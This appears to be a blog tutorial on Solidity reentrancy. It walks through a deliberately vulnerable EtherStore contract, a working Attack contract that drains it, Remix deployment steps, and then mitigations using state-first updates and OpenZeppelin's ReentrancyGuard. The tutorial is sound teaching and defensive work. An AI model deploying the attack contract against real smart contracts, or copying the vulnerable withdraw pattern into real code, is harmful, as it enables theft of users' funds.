In this tutorial, we demonstrate how to create a reentrancy exploit in Solidity, including detailed setup, code examples, and execution steps, followed by essential mitigation strategies
Introduction
Among all attack vectors in blockchain security, reentrancy stands out as particularly significant. One of the most notable incidents involving reentrancy was the 2016 DAO hack, in which $60 million worth of Ether was stolen. This event prompted a hard fork of the Ethereum blockchain to recover the stolen funds, resulting in the creation of two distinct blockchains: Ethereum and Ethereum Classic.
In the aftermath, numerous resources and tools have been developed to prevent reentrancy vulnerabilities. Despite these efforts, modern smart contracts are still being deployed with this critical flaw. Thus, reentrancy remains a persistent threat.
For a comprehensive historical record of reentrancy attacks, refer to this GitHub repository.
Reentrancy Explained
In this tutorial, we'll simulate a reentrancy attack on the EtherStore
contract. You can view the code here. A reentrancy attack occurs when an attacker repeatedly calls a vulnerable function before the initial call completes, exploiting the contract's operation sequence to deplete its funds.
The above example illustrates the sequence of operations taken by an attacker, including the balance columns tracking the current balance of each contract after each action has been executed.
The Vulnerable Contract
The EtherStore
contract allows users to deposit and withdraw ETH but contains a reentrancy vulnerability. This vulnerability exists because the user's balance is updated after transferring ETH, allowing an attacker to withdraw more funds than initially deposited.
/**
* @title EtherStore
* @dev A simple contract for depositing and withdrawing ETH.
* Vulnerable to reentrancy attacks.
*/
contract EtherStore {
mapping(address => uint256) public balances;
/**
* @notice Deposit Ether into the contract
*/
function deposit() public payable {
balances[msg.sender] += msg.value;
}
/**
* @notice Withdraw the sender's balance
*/
function withdraw() public {
uint256 bal = balances[msg.sender];
require(bal > 0, "Insufficient balance");
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
/**
* @notice Get the total balance of the contract
* @return The balance of the contract in wei
*/
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
How the Attack Works
By injecting malicious code into the EtherStore
contract's execution flow, specifically targeting the withdrawal process, an attacker can exploit the timing of the balance update. Here’s a step-by-step breakdown:
-
Initial Withdrawal Call: The attacker initiates a withdrawal from their balance in the
EtherStore
contract. -
Recursive Call Injection: Instead of completing the withdrawal process, the attacker's contract makes a recursive call to the
withdraw
function of theEtherStore
. This happens before the original withdrawal transaction updates the attacker's balance to zero. - Repeated Withdrawals: Each recursive call triggers another withdrawal before the balance is updated, causing the contract to send ETH repeatedly based on the initial balance.
-
Balance Misperception: Since the
EtherStore
contract only updates the user's balance after transferring funds, it continues to believe the attacker has a balance, thus allowing multiple withdrawals in quick succession. - Exploited State: This recursive loop continues until the contract's funds are depleted or the gas limit is reached, allowing the attacker to withdraw significantly more ETH than initially deposited.
Attack Contract Code
The attack contract is designed to exploit the EtherStore
's vulnerability:
contract Attack {
EtherStore public etherStore;
uint256 constant AMOUNT = 1 ether;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function _triggerWithdraw() internal {
if (address(etherStore).balance >= AMOUNT) {
etherStore.withdraw();
}
}
fallback() external payable {
_triggerWithdraw();
}
receive() external payable {
_triggerWithdraw();
}
function attack() external payable {
require(msg.value >= AMOUNT, "Insufficient attack amount");
etherStore.deposit{value: AMOUNT}();
etherStore.withdraw();
}
/**
* @notice Collects Ether from the Attack contract after the exploit
*/
function collectEther() public {
payable(msg.sender).transfer(address(this).balance);
}
/**
* @notice Gets the balance of the Attack contract
* @return The balance of the contract in wei
*/
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Explanation
-
Attack Contract Initialization:
- The
Attack
contract is initialized with the address of theEtherStore
contract. - The
AMOUNT
is set to 1 ETH to ensure a consistent value used in reentrancy checks.
- The
-
Fallback and Receive Functions:
- Both functions call
_triggerWithdraw
, which callswithdraw
on theEtherStore
if it has enough balance. This repeats the withdrawal, exploiting the reentrancy vulnerability.
- Both functions call
-
Attack Function:
- The
attack
function deposits 1 ETH into theEtherStore
and immediately callswithdraw
, starting the reentrancy loop.
- The
-
Collecting Stolen Ether:
- The
collectEther
function transfers the contract’s balance to the attacker.
- The
Try It on Remix
Deploy and interact with the contracts on Remix IDE to observe how the reentrancy attack works in practice. You can use this direct link to load the code into Remix: Load on Remix.
EtherStore Contract Deployment:
- Use a dedicated wallet and deploy the
EtherStore
contract. - Deposit 3 ETH using the deposit method.
- Verify the contract balance is 3 ETH.
Attack Contract Deployment:
- Use a dedicated wallet.
- Deploy the
Attack
contract with theEtherStore
contract address. - Deposit 1 ETH and run the attack method.
- Verify that the
EtherStore
contract balance is now 0, and theAttack
contract balance is 4 ETH.
🎉 Congratulations! You’ve just successfully exploited a contract using the reentrancy attack vector.
While that was certainly informative, it's my moral responsibility to provide you with solutions that will protect you from such potential attackers.
Mitigation Measures
To protect smart contracts from reentrancy attacks, consider the following strategies:
- Update State First: Always update the contract state before making external calls to prevent reentrant calls from exploiting outdated state information.
- Use Reentrancy Guards: Implement reentrancy guards to prevent functions from being accessed repeatedly within the same transaction. The OpenZeppelin ReentrancyGuard is a widely used and audited solution.
Protected Contract Example
Below is an example of the EtherStore
contract fully protected using a reentrancy guard.
contract EtherStore is ReentrancyGuard {
mapping(address => uint256) public balances;
function withdraw() nonReentrant public {
uint256 bal = balances[msg.sender];
require(bal > 0, "Insufficient balance");
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
}
🟢 Added: is ReentrancyGuard to inherit reentrancy protection.
🟢 Modified: withdraw function with nonReentrant to prevent reentrancy attacks.
Summary
Congratulations on reaching this point! Armed with this knowledge, you now have the tools to both identify and defend against reentrancy attacks.
This tutorial has demonstrated the mechanics of a reentrancy attack by exploiting a vulnerable function in the EtherStore
contract. It underscores the critical importance of secure coding practices, such as updating state before making external calls and implementing reentrancy guards, to effectively mitigate such vulnerabilities.
Connect with me on social media:
Top comments (2)
Nice one, love the graphics.
Thanks @jakepage91. I enjoy putting them together. Adds additional clarity for sure.